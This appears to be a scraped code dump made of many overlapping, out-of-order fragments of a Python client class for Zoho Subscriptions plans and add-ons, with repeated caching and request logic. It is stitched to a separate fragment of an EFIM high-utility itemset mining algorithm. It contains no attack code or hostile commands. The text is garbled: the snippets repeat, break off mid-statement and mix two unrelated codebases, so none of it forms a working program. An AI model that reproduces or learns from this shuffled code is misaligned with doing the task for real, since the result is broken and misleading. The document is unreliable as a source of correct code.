"try: import config as configuration except ImportError: print(\"Zoho configurations not found in config/django",
"response = self.client.get_from_cache(cache_key) if response is None: list_of_plan_uri = 'plans' result = self.client.send_request(\"GET\",",
"while initializing\") class Plan: add_on_types = ['recurring', 'one_time', ] def __init__(self, config=None): if",
"response: if each_plan.get(\"addons\"): if each_plan.get('plan_code')== plan_code: for each_addon_code in each_plan[\"addons\"]: addon_code_list.append(addon.get_addon(each_addon_code['addon_code'])) return addon_code_list",
"Client(config) def list_plans(self, filters=None, with_add_ons=True, add_on_type=None): cache_key = 'plans' response = self.client.get_from_cache(cache_key) if",
"None: # if with_add_ons in add_on_type: # return None else: print(\"Returning from cache",
"as configuration except ImportError: try: import config as configuration except ImportError: print(\"Zoho configurations",
"with_add_ons=True, add_on_type=None): cache_key = 'plans' response = self.client.get_from_cache(cache_key) if response is None: list_of_plan_uri",
"def get_plan(self, plan_code): cache_key = 'plan_%s' % plan_code response = self.client.get_from_cache(cache_key) if response",
"result['plans'] self.client.add_to_cache(cache_key, response) if filters is not None: for plan in response: if",
"as configuration except ImportError: print(\"Zoho configurations not found in config/django settings, must be",
"Client(configuration.ZOHO_SUBSCRIPTION_CONFIG) else: self.client = Client(config) def list_plans(self, filters=None, with_add_ons=True, add_on_type=None): cache_key = 'plans'",
"else: self.client = Client(config) def list_plans(self, filters=None, with_add_ons=True, add_on_type=None): cache_key = 'plans' response",
"cache_key) return response def get_plan(self, plan_code): cache_key = 'plan_%s' % plan_code response =",
"= self.client.send_request(\"GET\", plan_by_plan_code) if type(result) is HTTPError: result_bytes = result.response._content result_dict = ast.literal_eval(result_bytes.decode('utf-8'))",
"plan_code is not None: for each_plan in response: if each_plan.get(\"addons\"): if each_plan.get('plan_code')== plan_code:",
"configuration except ImportError: print(\"Zoho configurations not found in config/django settings, must be passed",
"each_plan in response: if each_plan.get(\"addons\"): if each_plan.get('plan_code')== plan_code: for each_addon_code in each_plan[\"addons\"]: addon_code_list.append(addon.get_addon(each_addon_code['addon_code']))",
"result.response._content result_dict = ast.literal_eval(result_bytes.decode('utf-8')) return result_dict['message'] else: response = result['plan'] self.client.add_to_cache(cache_key, response) recurring_price",
"for each_addon_code in each_plan[\"addons\"]: addon_code_list.append(addon.get_addon(each_addon_code['addon_code'])) return addon_code_list else: print(\"Returning from cache : \"",
"from zoho_subscriptions.client.client import Client from zoho_subscriptions.subscriptions.addon import Addon try: from django.conf import settings",
"except ImportError: print(\"Zoho configurations not found in config/django settings, must be passed while",
"ast.literal_eval(result_bytes.decode('utf-8')) return result_dict['message'] else: response = result['plan'] self.client.add_to_cache(cache_key, response) else: print(\"Returning from cache",
"get_addons_for_plan(self,plan_code): cache_key = 'plans' addon_code_list = [] addon = Addon() response = self.client.get_from_cache(cache_key)",
"= result['plan'] self.client.add_to_cache(cache_key, response) recurring_price = response['recurring_price'] return recurring_price else: print(\"Returning from cache",
"config is None: self.client = Client(configuration.ZOHO_SUBSCRIPTION_CONFIG) else: self.client = Client(config) def list_plans(self, filters=None,",
"response is None: plan_by_plan_code = 'plans/%s' % plan_code result = self.client.send_request(\"GET\", plan_by_plan_code) if",
": \" + cache_key) # Filter Plan def get_price_by_plan_code(self, plan_code): cache_key = 'plan_%s'",
"= result.response._content result_dict = ast.literal_eval(result_bytes.decode('utf-8')) return result_dict['message'] else: response = result['plan'] self.client.add_to_cache(cache_key, response)",
"== filters['name'] or plan['plan_code'] == filters['plan_code']): return plan # if with_add_ons is not",
"plan # if with_add_ons is not None: # if with_add_ons in add_on_type: #",
"None else: print(\"Returning from cache : \" + cache_key) return response def get_plan(self,",
"get_price_by_plan_code(self, plan_code): cache_key = 'plan_%s' % plan_code response = self.client.get_from_cache(cache_key) if response is",
"if with_add_ons is not None: # if with_add_ons in add_on_type: # return None",
"list_plans(self, filters=None, with_add_ons=True, add_on_type=None): cache_key = 'plans' response = self.client.get_from_cache(cache_key) if response is",
"= Addon() response = self.client.get_from_cache(cache_key) if response is None: list_of_plan_uri = 'plans' result",
"if each_plan.get('plan_code')== plan_code: for each_addon_code in each_plan[\"addons\"]: addon_code_list.append(addon.get_addon(each_addon_code['addon_code'])) return addon_code_list else: print(\"Returning from",
"cache_key = 'plans' response = self.client.get_from_cache(cache_key) if response is None: list_of_plan_uri = 'plans'",
"+ cache_key) return response def get_addons_for_plan(self,plan_code): cache_key = 'plans' addon_code_list = [] addon",
"addon_code_list else: print(\"Returning from cache : \" + cache_key) # Filter Plan def",
"def __init__(self, config=None): if config is None: self.client = Client(configuration.ZOHO_SUBSCRIPTION_CONFIG) else: self.client =",
"else: response = result['plan'] self.client.add_to_cache(cache_key, response) recurring_price = response['recurring_price'] return recurring_price else: print(\"Returning",
"def get_price_by_plan_code(self, plan_code): cache_key = 'plan_%s' % plan_code response = self.client.get_from_cache(cache_key) if response",
"+ cache_key) return response def get_plan(self, plan_code): cache_key = 'plan_%s' % plan_code response",
"return result_dict['message'] else: response = result['plan'] self.client.add_to_cache(cache_key, response) recurring_price = response['recurring_price'] return recurring_price",
"import HTTPError from zoho_subscriptions.client.client import Client from zoho_subscriptions.subscriptions.addon import Addon try: from django.conf",
"response) recurring_price = response['recurring_price'] return recurring_price else: print(\"Returning from cache : \" +",
"return None else: print(\"Returning from cache : \" + cache_key) return response def",
"ImportError: print(\"Zoho configurations not found in config/django settings, must be passed while initializing\")",
"passed while initializing\") class Plan: add_on_types = ['recurring', 'one_time', ] def __init__(self, config=None):",
"cache : \" + cache_key) return response def get_addons_for_plan(self,plan_code): cache_key = 'plans' addon_code_list",
"for each_plan in response: if each_plan.get(\"addons\"): if each_plan.get('plan_code')== plan_code: for each_addon_code in each_plan[\"addons\"]:",
"= 'plan_%s' % plan_code response = self.client.get_from_cache(cache_key) if response is None: plan_by_plan_code =",
"= ast.literal_eval(result_bytes.decode('utf-8')) return result_dict['message'] else: response = result['plan'] self.client.add_to_cache(cache_key, response) else: print(\"Returning from",
"import ast from requests import HTTPError from zoho_subscriptions.client.client import Client from zoho_subscriptions.subscriptions.addon import",
"not found in config/django settings, must be passed while initializing\") class Plan: add_on_types",
"not None: for plan in response: if (plan['name'] == filters['name'] or plan['plan_code'] ==",
"response = result['plans'] self.client.add_to_cache(cache_key, response) if plan_code is not None: for each_plan in",
"addon_code_list.append(addon.get_addon(each_addon_code['addon_code'])) return addon_code_list else: print(\"Returning from cache : \" + cache_key) # Filter",
"response['recurring_price'] return recurring_price else: print(\"Returning from cache : \" + cache_key) return response",
"(plan['name'] == filters['name'] or plan['plan_code'] == filters['plan_code']): return plan # if with_add_ons is",
"Plan def get_price_by_plan_code(self, plan_code): cache_key = 'plan_%s' % plan_code response = self.client.get_from_cache(cache_key) if",
"plan_by_plan_code) if type(result) is HTTPError: result_bytes = result.response._content result_dict = ast.literal_eval(result_bytes.decode('utf-8')) return result_dict['message']",
"with_add_ons in add_on_type: # return None else: print(\"Returning from cache : \" +",
"plan in response: if (plan['name'] == filters['name'] or plan['plan_code'] == filters['plan_code']): return plan",
"else: response = result['plan'] self.client.add_to_cache(cache_key, response) else: print(\"Returning from cache : \" +",
"with_add_ons is not None: # if with_add_ons in add_on_type: # return None else:",
"self.client.get_from_cache(cache_key) if response is None: plan_by_plan_code = 'plans/%s' % plan_code result = self.client.send_request(\"GET\",",
"except ImportError: try: import config as configuration except ImportError: print(\"Zoho configurations not found",
"None: for each_plan in response: if each_plan.get(\"addons\"): if each_plan.get('plan_code')== plan_code: for each_addon_code in",
"__init__(self, config=None): if config is None: self.client = Client(configuration.ZOHO_SUBSCRIPTION_CONFIG) else: self.client = Client(config)",
"None: self.client = Client(configuration.ZOHO_SUBSCRIPTION_CONFIG) else: self.client = Client(config) def list_plans(self, filters=None, with_add_ons=True, add_on_type=None):",
"for plan in response: if (plan['name'] == filters['name'] or plan['plan_code'] == filters['plan_code']): return",
": \" + cache_key) return response def get_addons_for_plan(self,plan_code): cache_key = 'plans' addon_code_list =",
"add_on_type=None): cache_key = 'plans' response = self.client.get_from_cache(cache_key) if response is None: list_of_plan_uri =",
"Addon try: from django.conf import settings as configuration except ImportError: try: import config",
"self.client.add_to_cache(cache_key, response) if filters is not None: for plan in response: if (plan['name']",
"self.client.send_request(\"GET\", list_of_plan_uri) response = result['plans'] self.client.add_to_cache(cache_key, response) if filters is not None: for",
"= result['plans'] self.client.add_to_cache(cache_key, response) if plan_code is not None: for each_plan in response:",
"plan['plan_code'] == filters['plan_code']): return plan # if with_add_ons is not None: # if",
"response def get_addons_for_plan(self,plan_code): cache_key = 'plans' addon_code_list = [] addon = Addon() response",
"= self.client.send_request(\"GET\", list_of_plan_uri) response = result['plans'] self.client.add_to_cache(cache_key, response) if plan_code is not None:",
"else: print(\"Returning from cache : \" + cache_key) return response def get_plan(self, plan_code):",
"plan_code: for each_addon_code in each_plan[\"addons\"]: addon_code_list.append(addon.get_addon(each_addon_code['addon_code'])) return addon_code_list else: print(\"Returning from cache :",
"import config as configuration except ImportError: print(\"Zoho configurations not found in config/django settings,",
"def list_plans(self, filters=None, with_add_ons=True, add_on_type=None): cache_key = 'plans' response = self.client.get_from_cache(cache_key) if response",
"print(\"Zoho configurations not found in config/django settings, must be passed while initializing\") class",
"cache_key = 'plan_%s' % plan_code response = self.client.get_from_cache(cache_key) if response is None: plan_by_plan_code",
"if plan_code is not None: for each_plan in response: if each_plan.get(\"addons\"): if each_plan.get('plan_code')==",
"= self.client.get_from_cache(cache_key) if response is None: list_of_plan_uri = 'plans' result = self.client.send_request(\"GET\", list_of_plan_uri)",
"be passed while initializing\") class Plan: add_on_types = ['recurring', 'one_time', ] def __init__(self,",
"self.client = Client(configuration.ZOHO_SUBSCRIPTION_CONFIG) else: self.client = Client(config) def list_plans(self, filters=None, with_add_ons=True, add_on_type=None): cache_key",
"return response def get_addons_for_plan(self,plan_code): cache_key = 'plans' addon_code_list = [] addon = Addon()",
"cache_key = 'plans' addon_code_list = [] addon = Addon() response = self.client.get_from_cache(cache_key) if",
"config as configuration except ImportError: print(\"Zoho configurations not found in config/django settings, must",
"import Client from zoho_subscriptions.subscriptions.addon import Addon try: from django.conf import settings as configuration",
"None: list_of_plan_uri = 'plans' result = self.client.send_request(\"GET\", list_of_plan_uri) response = result['plans'] self.client.add_to_cache(cache_key, response)",
"] def __init__(self, config=None): if config is None: self.client = Client(configuration.ZOHO_SUBSCRIPTION_CONFIG) else: self.client",
"type(result) is HTTPError: result_bytes = result.response._content result_dict = ast.literal_eval(result_bytes.decode('utf-8')) return result_dict['message'] else: response",
"result.response._content result_dict = ast.literal_eval(result_bytes.decode('utf-8')) return result_dict['message'] else: response = result['plan'] self.client.add_to_cache(cache_key, response) else:",
"cache_key) return response def get_addons_for_plan(self,plan_code): cache_key = 'plans' addon_code_list = [] addon =",
"class Plan: add_on_types = ['recurring', 'one_time', ] def __init__(self, config=None): if config is",
"if with_add_ons in add_on_type: # return None else: print(\"Returning from cache : \"",
"result_dict['message'] else: response = result['plan'] self.client.add_to_cache(cache_key, response) recurring_price = response['recurring_price'] return recurring_price else:",
"response) if filters is not None: for plan in response: if (plan['name'] ==",
"in response: if each_plan.get(\"addons\"): if each_plan.get('plan_code')== plan_code: for each_addon_code in each_plan[\"addons\"]: addon_code_list.append(addon.get_addon(each_addon_code['addon_code'])) return",
"each_addon_code in each_plan[\"addons\"]: addon_code_list.append(addon.get_addon(each_addon_code['addon_code'])) return addon_code_list else: print(\"Returning from cache : \" +",
"+ cache_key) # Filter Plan def get_price_by_plan_code(self, plan_code): cache_key = 'plan_%s' % plan_code",
"'plans/%s' % plan_code result = self.client.send_request(\"GET\", plan_by_plan_code) if type(result) is HTTPError: result_bytes =",
"if each_plan.get(\"addons\"): if each_plan.get('plan_code')== plan_code: for each_addon_code in each_plan[\"addons\"]: addon_code_list.append(addon.get_addon(each_addon_code['addon_code'])) return addon_code_list else:",
"from zoho_subscriptions.subscriptions.addon import Addon try: from django.conf import settings as configuration except ImportError:",
"= 'plans' result = self.client.send_request(\"GET\", list_of_plan_uri) response = result['plans'] self.client.add_to_cache(cache_key, response) if plan_code",
"plan_code): cache_key = 'plan_%s' % plan_code response = self.client.get_from_cache(cache_key) if response is None:",
"recurring_price = response['recurring_price'] return recurring_price else: print(\"Returning from cache : \" + cache_key)",
"is HTTPError: result_bytes = result.response._content result_dict = ast.literal_eval(result_bytes.decode('utf-8')) return result_dict['message'] else: response =",
"# Filter Plan def get_price_by_plan_code(self, plan_code): cache_key = 'plan_%s' % plan_code response =",
"configuration except ImportError: try: import config as configuration except ImportError: print(\"Zoho configurations not",
"'plan_%s' % plan_code response = self.client.get_from_cache(cache_key) if response is None: plan_by_plan_code = 'plans/%s'",
"response = result['plans'] self.client.add_to_cache(cache_key, response) if filters is not None: for plan in",
"filters['plan_code']): return plan # if with_add_ons is not None: # if with_add_ons in",
"self.client.add_to_cache(cache_key, response) recurring_price = response['recurring_price'] return recurring_price else: print(\"Returning from cache : \"",
"# return None else: print(\"Returning from cache : \" + cache_key) return response",
"result['plan'] self.client.add_to_cache(cache_key, response) else: print(\"Returning from cache : \" + cache_key) return response",
"= response['recurring_price'] return recurring_price else: print(\"Returning from cache : \" + cache_key) return",
"= result['plans'] self.client.add_to_cache(cache_key, response) if filters is not None: for plan in response:",
"if (plan['name'] == filters['name'] or plan['plan_code'] == filters['plan_code']): return plan # if with_add_ons",
"must be passed while initializing\") class Plan: add_on_types = ['recurring', 'one_time', ] def",
"response def get_plan(self, plan_code): cache_key = 'plan_%s' % plan_code response = self.client.get_from_cache(cache_key) if",
"list_of_plan_uri) response = result['plans'] self.client.add_to_cache(cache_key, response) if plan_code is not None: for each_plan",
"response = result['plan'] self.client.add_to_cache(cache_key, response) else: print(\"Returning from cache : \" + cache_key)",
"return response def get_plan(self, plan_code): cache_key = 'plan_%s' % plan_code response = self.client.get_from_cache(cache_key)",
"print(\"Returning from cache : \" + cache_key) return response def get_addons_for_plan(self,plan_code): cache_key =",
"result = self.client.send_request(\"GET\", list_of_plan_uri) response = result['plans'] self.client.add_to_cache(cache_key, response) if filters is not",
"Client from zoho_subscriptions.subscriptions.addon import Addon try: from django.conf import settings as configuration except",
"= 'plans/%s' % plan_code result = self.client.send_request(\"GET\", plan_by_plan_code) if type(result) is HTTPError: result_bytes",
"result_dict = ast.literal_eval(result_bytes.decode('utf-8')) return result_dict['message'] else: response = result['plan'] self.client.add_to_cache(cache_key, response) else: print(\"Returning",
"Filter Plan def get_price_by_plan_code(self, plan_code): cache_key = 'plan_%s' % plan_code response = self.client.get_from_cache(cache_key)",
"get_plan(self, plan_code): cache_key = 'plan_%s' % plan_code response = self.client.get_from_cache(cache_key) if response is",
"config=None): if config is None: self.client = Client(configuration.ZOHO_SUBSCRIPTION_CONFIG) else: self.client = Client(config) def",
"from django.conf import settings as configuration except ImportError: try: import config as configuration",
"filters['name'] or plan['plan_code'] == filters['plan_code']): return plan # if with_add_ons is not None:",
"response = self.client.get_from_cache(cache_key) if response is None: plan_by_plan_code = 'plans/%s' % plan_code result",
"result['plan'] self.client.add_to_cache(cache_key, response) recurring_price = response['recurring_price'] return recurring_price else: print(\"Returning from cache :",
"zoho_subscriptions.subscriptions.addon import Addon try: from django.conf import settings as configuration except ImportError: try:",
"list_of_plan_uri) response = result['plans'] self.client.add_to_cache(cache_key, response) if filters is not None: for plan",
"response: if (plan['name'] == filters['name'] or plan['plan_code'] == filters['plan_code']): return plan # if",
"result['plans'] self.client.add_to_cache(cache_key, response) if plan_code is not None: for each_plan in response: if",
"try: from django.conf import settings as configuration except ImportError: try: import config as",
"from requests import HTTPError from zoho_subscriptions.client.client import Client from zoho_subscriptions.subscriptions.addon import Addon try:",
"if type(result) is HTTPError: result_bytes = result.response._content result_dict = ast.literal_eval(result_bytes.decode('utf-8')) return result_dict['message'] else:",
"addon = Addon() response = self.client.get_from_cache(cache_key) if response is None: list_of_plan_uri = 'plans'",
"zoho_subscriptions.client.client import Client from zoho_subscriptions.subscriptions.addon import Addon try: from django.conf import settings as",
"'plans' response = self.client.get_from_cache(cache_key) if response is None: list_of_plan_uri = 'plans' result =",
"None: for plan in response: if (plan['name'] == filters['name'] or plan['plan_code'] == filters['plan_code']):",
"= result['plan'] self.client.add_to_cache(cache_key, response) else: print(\"Returning from cache : \" + cache_key) return",
"in each_plan[\"addons\"]: addon_code_list.append(addon.get_addon(each_addon_code['addon_code'])) return addon_code_list else: print(\"Returning from cache : \" + cache_key)",
"each_plan[\"addons\"]: addon_code_list.append(addon.get_addon(each_addon_code['addon_code'])) return addon_code_list else: print(\"Returning from cache : \" + cache_key) #",
"result_dict = ast.literal_eval(result_bytes.decode('utf-8')) return result_dict['message'] else: response = result['plan'] self.client.add_to_cache(cache_key, response) recurring_price =",
"'one_time', ] def __init__(self, config=None): if config is None: self.client = Client(configuration.ZOHO_SUBSCRIPTION_CONFIG) else:",
"= [] addon = Addon() response = self.client.get_from_cache(cache_key) if response is None: list_of_plan_uri",
"else: print(\"Returning from cache : \" + cache_key) return response def get_addons_for_plan(self,plan_code): cache_key",
"'plans' result = self.client.send_request(\"GET\", list_of_plan_uri) response = result['plans'] self.client.add_to_cache(cache_key, response) if plan_code is",
"add_on_type: # return None else: print(\"Returning from cache : \" + cache_key) return",
"return addon_code_list else: print(\"Returning from cache : \" + cache_key) # Filter Plan",
"ast.literal_eval(result_bytes.decode('utf-8')) return result_dict['message'] else: response = result['plan'] self.client.add_to_cache(cache_key, response) recurring_price = response['recurring_price'] return",
"self.client = Client(config) def list_plans(self, filters=None, with_add_ons=True, add_on_type=None): cache_key = 'plans' response =",
"settings as configuration except ImportError: try: import config as configuration except ImportError: print(\"Zoho",
"or plan['plan_code'] == filters['plan_code']): return plan # if with_add_ons is not None: #",
"print(\"Returning from cache : \" + cache_key) return response def get_plan(self, plan_code): cache_key",
"response = result['plan'] self.client.add_to_cache(cache_key, response) recurring_price = response['recurring_price'] return recurring_price else: print(\"Returning from",
"is None: list_of_plan_uri = 'plans' result = self.client.send_request(\"GET\", list_of_plan_uri) response = result['plans'] self.client.add_to_cache(cache_key,",
"in add_on_type: # return None else: print(\"Returning from cache : \" + cache_key)",
"if filters is not None: for plan in response: if (plan['name'] == filters['name']",
"import Addon try: from django.conf import settings as configuration except ImportError: try: import",
"response) if plan_code is not None: for each_plan in response: if each_plan.get(\"addons\"): if",
"== filters['plan_code']): return plan # if with_add_ons is not None: # if with_add_ons",
"\" + cache_key) return response def get_plan(self, plan_code): cache_key = 'plan_%s' % plan_code",
"% plan_code response = self.client.get_from_cache(cache_key) if response is None: plan_by_plan_code = 'plans/%s' %",
"= 'plans' addon_code_list = [] addon = Addon() response = self.client.get_from_cache(cache_key) if response",
"not None: for each_plan in response: if each_plan.get(\"addons\"): if each_plan.get('plan_code')== plan_code: for each_addon_code",
"is None: plan_by_plan_code = 'plans/%s' % plan_code result = self.client.send_request(\"GET\", plan_by_plan_code) if type(result)",
"is not None: # if with_add_ons in add_on_type: # return None else: print(\"Returning",
"Plan: add_on_types = ['recurring', 'one_time', ] def __init__(self, config=None): if config is None:",
"each_plan.get('plan_code')== plan_code: for each_addon_code in each_plan[\"addons\"]: addon_code_list.append(addon.get_addon(each_addon_code['addon_code'])) return addon_code_list else: print(\"Returning from cache",
"= self.client.get_from_cache(cache_key) if response is None: plan_by_plan_code = 'plans/%s' % plan_code result =",
"django.conf import settings as configuration except ImportError: try: import config as configuration except",
"requests import HTTPError from zoho_subscriptions.client.client import Client from zoho_subscriptions.subscriptions.addon import Addon try: from",
"= ast.literal_eval(result_bytes.decode('utf-8')) return result_dict['message'] else: response = result['plan'] self.client.add_to_cache(cache_key, response) recurring_price = response['recurring_price']",
"['recurring', 'one_time', ] def __init__(self, config=None): if config is None: self.client = Client(configuration.ZOHO_SUBSCRIPTION_CONFIG)",
"is not None: for plan in response: if (plan['name'] == filters['name'] or plan['plan_code']",
"filters is not None: for plan in response: if (plan['name'] == filters['name'] or",
"ImportError: try: import config as configuration except ImportError: print(\"Zoho configurations not found in",
"config/django settings, must be passed while initializing\") class Plan: add_on_types = ['recurring', 'one_time',",
"'plans' result = self.client.send_request(\"GET\", list_of_plan_uri) response = result['plans'] self.client.add_to_cache(cache_key, response) if filters is",
"response is None: list_of_plan_uri = 'plans' result = self.client.send_request(\"GET\", list_of_plan_uri) response = result['plans']",
"<gh_stars>0 import ast from requests import HTTPError from zoho_subscriptions.client.client import Client from zoho_subscriptions.subscriptions.addon",
"ast from requests import HTTPError from zoho_subscriptions.client.client import Client from zoho_subscriptions.subscriptions.addon import Addon",
"is not None: for each_plan in response: if each_plan.get(\"addons\"): if each_plan.get('plan_code')== plan_code: for",
"\" + cache_key) # Filter Plan def get_price_by_plan_code(self, plan_code): cache_key = 'plan_%s' %",
"response) else: print(\"Returning from cache : \" + cache_key) return response def get_addons_for_plan(self,plan_code):",
"each_plan.get(\"addons\"): if each_plan.get('plan_code')== plan_code: for each_addon_code in each_plan[\"addons\"]: addon_code_list.append(addon.get_addon(each_addon_code['addon_code'])) return addon_code_list else: print(\"Returning",
"result_dict['message'] else: response = result['plan'] self.client.add_to_cache(cache_key, response) else: print(\"Returning from cache : \"",
"addon_code_list = [] addon = Addon() response = self.client.get_from_cache(cache_key) if response is None:",
"cache_key) # Filter Plan def get_price_by_plan_code(self, plan_code): cache_key = 'plan_%s' % plan_code response",
"cache : \" + cache_key) return response def get_plan(self, plan_code): cache_key = 'plan_%s'",
"self.client.add_to_cache(cache_key, response) else: print(\"Returning from cache : \" + cache_key) return response def",
": \" + cache_key) return response def get_plan(self, plan_code): cache_key = 'plan_%s' %",
"def get_addons_for_plan(self,plan_code): cache_key = 'plans' addon_code_list = [] addon = Addon() response =",
"if config is None: self.client = Client(configuration.ZOHO_SUBSCRIPTION_CONFIG) else: self.client = Client(config) def list_plans(self,",
"plan_code result = self.client.send_request(\"GET\", plan_by_plan_code) if type(result) is HTTPError: result_bytes = result.response._content result_dict",
"# if with_add_ons is not None: # if with_add_ons in add_on_type: # return",
"found in config/django settings, must be passed while initializing\") class Plan: add_on_types =",
"configurations not found in config/django settings, must be passed while initializing\") class Plan:",
"is None: self.client = Client(configuration.ZOHO_SUBSCRIPTION_CONFIG) else: self.client = Client(config) def list_plans(self, filters=None, with_add_ons=True,",
"from cache : \" + cache_key) return response def get_addons_for_plan(self,plan_code): cache_key = 'plans'",
"'plans' addon_code_list = [] addon = Addon() response = self.client.get_from_cache(cache_key) if response is",
"result = self.client.send_request(\"GET\", list_of_plan_uri) response = result['plans'] self.client.add_to_cache(cache_key, response) if plan_code is not",
"from cache : \" + cache_key) # Filter Plan def get_price_by_plan_code(self, plan_code): cache_key",
"= 'plans' response = self.client.get_from_cache(cache_key) if response is None: list_of_plan_uri = 'plans' result",
"self.client.add_to_cache(cache_key, response) if plan_code is not None: for each_plan in response: if each_plan.get(\"addons\"):",
"print(\"Returning from cache : \" + cache_key) # Filter Plan def get_price_by_plan_code(self, plan_code):",
"plan_code response = self.client.get_from_cache(cache_key) if response is None: plan_by_plan_code = 'plans/%s' % plan_code",
"HTTPError from zoho_subscriptions.client.client import Client from zoho_subscriptions.subscriptions.addon import Addon try: from django.conf import",
"self.client.get_from_cache(cache_key) if response is None: list_of_plan_uri = 'plans' result = self.client.send_request(\"GET\", list_of_plan_uri) response",
"HTTPError: result_bytes = result.response._content result_dict = ast.literal_eval(result_bytes.decode('utf-8')) return result_dict['message'] else: response = result['plan']",
"= self.client.send_request(\"GET\", list_of_plan_uri) response = result['plans'] self.client.add_to_cache(cache_key, response) if filters is not None:",
"in config/django settings, must be passed while initializing\") class Plan: add_on_types = ['recurring',",
"add_on_types = ['recurring', 'one_time', ] def __init__(self, config=None): if config is None: self.client",
"return plan # if with_add_ons is not None: # if with_add_ons in add_on_type:",
"list_of_plan_uri = 'plans' result = self.client.send_request(\"GET\", list_of_plan_uri) response = result['plans'] self.client.add_to_cache(cache_key, response) if",
"\" + cache_key) return response def get_addons_for_plan(self,plan_code): cache_key = 'plans' addon_code_list = []",
"result_bytes = result.response._content result_dict = ast.literal_eval(result_bytes.decode('utf-8')) return result_dict['message'] else: response = result['plan'] self.client.add_to_cache(cache_key,",
"None: plan_by_plan_code = 'plans/%s' % plan_code result = self.client.send_request(\"GET\", plan_by_plan_code) if type(result) is",
"Addon() response = self.client.get_from_cache(cache_key) if response is None: list_of_plan_uri = 'plans' result =",
"cache : \" + cache_key) # Filter Plan def get_price_by_plan_code(self, plan_code): cache_key =",
"import settings as configuration except ImportError: try: import config as configuration except ImportError:",
"settings, must be passed while initializing\") class Plan: add_on_types = ['recurring', 'one_time', ]",
"= ['recurring', 'one_time', ] def __init__(self, config=None): if config is None: self.client =",
"= Client(configuration.ZOHO_SUBSCRIPTION_CONFIG) else: self.client = Client(config) def list_plans(self, filters=None, with_add_ons=True, add_on_type=None): cache_key =",
"if response is None: list_of_plan_uri = 'plans' result = self.client.send_request(\"GET\", list_of_plan_uri) response =",
"= Client(config) def list_plans(self, filters=None, with_add_ons=True, add_on_type=None): cache_key = 'plans' response = self.client.get_from_cache(cache_key)",
"filters=None, with_add_ons=True, add_on_type=None): cache_key = 'plans' response = self.client.get_from_cache(cache_key) if response is None:",
"in response: if (plan['name'] == filters['name'] or plan['plan_code'] == filters['plan_code']): return plan #",
"not None: # if with_add_ons in add_on_type: # return None else: print(\"Returning from",
"from cache : \" + cache_key) return response def get_plan(self, plan_code): cache_key =",
"if response is None: plan_by_plan_code = 'plans/%s' % plan_code result = self.client.send_request(\"GET\", plan_by_plan_code)",
"% plan_code result = self.client.send_request(\"GET\", plan_by_plan_code) if type(result) is HTTPError: result_bytes = result.response._content",
"self.client.send_request(\"GET\", plan_by_plan_code) if type(result) is HTTPError: result_bytes = result.response._content result_dict = ast.literal_eval(result_bytes.decode('utf-8')) return",
"return result_dict['message'] else: response = result['plan'] self.client.add_to_cache(cache_key, response) else: print(\"Returning from cache :",
"self.client.send_request(\"GET\", list_of_plan_uri) response = result['plans'] self.client.add_to_cache(cache_key, response) if plan_code is not None: for"
] |
[] |
[] |
[
"projectedTransaction elif self.is_equal(projectedTransaction, previousTransaction): if consecutiveMergeCount == 0: # if the first consecutive",
"position2 += 1 return True def sortDatabase(self, transactions): cmp_items = cmp_to_key(self.sort_transaction) transactions.sort(key=cmp_items) def",
"+= transaction.getUtilities()[positionE] + transaction.prefixUtility else: projectedTransaction = transaction.projectTransaction(positionE) utilityPe += projectedTransaction.prefixUtility if previousTransaction",
"transaction1, transaction2): length1 = len(transaction1.items) - transaction1.offset length2 = len(transaction2.items) - transaction2.offset if",
"__init__(self, mapItemsToneighbors, minUtility, itemsToExplore, itemsToKeep, transactions, newNamesToOldNames, oldNamesToNewNames): self.minUtil = minUtility self.Neighbours =",
"= transaction.getItems()[k] if self.newNamesToOldNames[transaction_item] in item_neighbours and transaction_item in neighbourhoodList: remainingUtility += transaction.getUtilities()[k]",
"what appears after e transactionsPe = [] # variable to caluclate the utility",
"caluclateNeighbourIntersection(self, prefixLength): intersectionList = [] if self.temp[0] in self.Neighbours: intersectionList = self.Neighbours[self.temp[0]] else:",
"if item in self.oldNamesToNewNames: finalIntersectionList.append(self.oldNamesToNewNames[item]) return finalIntersectionList def useUtilityBinArraysToCalculateUpperBounds(self, transactionsPe, j, itemsToKeep, neighbourhoodList):",
"= transaction1.offset position2 = transaction2.offset while position1 < len(transaction1.items): if transaction1.items[position1] != transaction2.items[position2]:",
"!= 0: return sub pos1 -= 1 pos2 -= 1 return -1 elif",
"order on transaction self.sortDatabase(self.transactions) self.backtrackingEFIM(self.transactions, self.itemsToKeep, self.itemsToExplore, 0) return (1, self.highUtilityItemsets) def backtrackingEFIM(self,",
"return sub pos1 -= 1 pos2 -= 1 return -1 elif len(trans1_items) >",
"self.temp[prefixLength] = self.newNamesToOldNames[e] if utilityPe >= self.minUtil: self.highUtilityItemsets.append((utilityPe , self.temp[:prefixLength + 1])) #",
"def sortDatabase(self, transactions): cmp_items = cmp_to_key(self.sort_transaction) transactions.sort(key=cmp_items) def sort_transaction(self, trans1, trans2): trans1_items =",
"else: projectedTransaction = transaction.projectTransaction(positionE) utilityPe += projectedTransaction.prefixUtility if previousTransaction == transactionsOfP[0]: # if",
"= transaction.getItems() if e in items: # if e was found in the",
"def __init__(self, mapItemsToneighbors, minUtility, itemsToExplore, itemsToKeep, transactions, newNamesToOldNames, oldNamesToNewNames): self.minUtil = minUtility self.Neighbours",
"range(j + 1, len(itemsToKeep)): item = itemsToKeep[i] self.utilityBinArrayLU[item] = 0 self.utilityBinArraySU[item] = 0",
"trans1_items = trans1.getItems() trans2_items = trans2.getItems() pos1 = len(trans1_items) - 1 pos2 =",
"item_neighbours and transaction_item in neighbourhoodList: remainingUtility += transaction.getUtilities()[k] remainingUtility += transaction.getUtilities()[i] self.utilityBinArraySU[item] +=",
"0: return sub pos1 -= 1 pos2 -= 1 return 1 else: while",
"# caluclate the local utility and subtree utility self.useUtilityBinArraysToCalculateUpperBounds(transactionsPe, idx, itemsToKeep, neighbourhoodList) newItemsToKeep",
">= self.minUtil: self.highUtilityItemsets.append((utilityPe , self.temp[:prefixLength + 1])) # caluclate the set which is",
"positionProjected] positionPrevious += 1 positionProjected += 1 previousTransaction.transactionUtility += projectedTransaction.transactionUtility previousTransaction.prefixUtility += projectedTransaction.prefixUtility",
"transaction1.items[position1] != transaction2.items[position2]: return False position1 += 1 position2 += 1 return True",
"len(itemsToExplore) for idx, e in enumerate(itemsToExplore): # caluclate the transactions containing p U",
"i = length - 1 while i >= transaction.offset: item = transaction.getItems()[i] if",
"- trans1_items[pos1] if sub != 0: return sub pos1 -= 1 pos2 -=",
"transaction1.offset position2 = transaction2.offset while position1 < len(transaction1.items): if transaction1.items[position1] != transaction2.items[position2]: return",
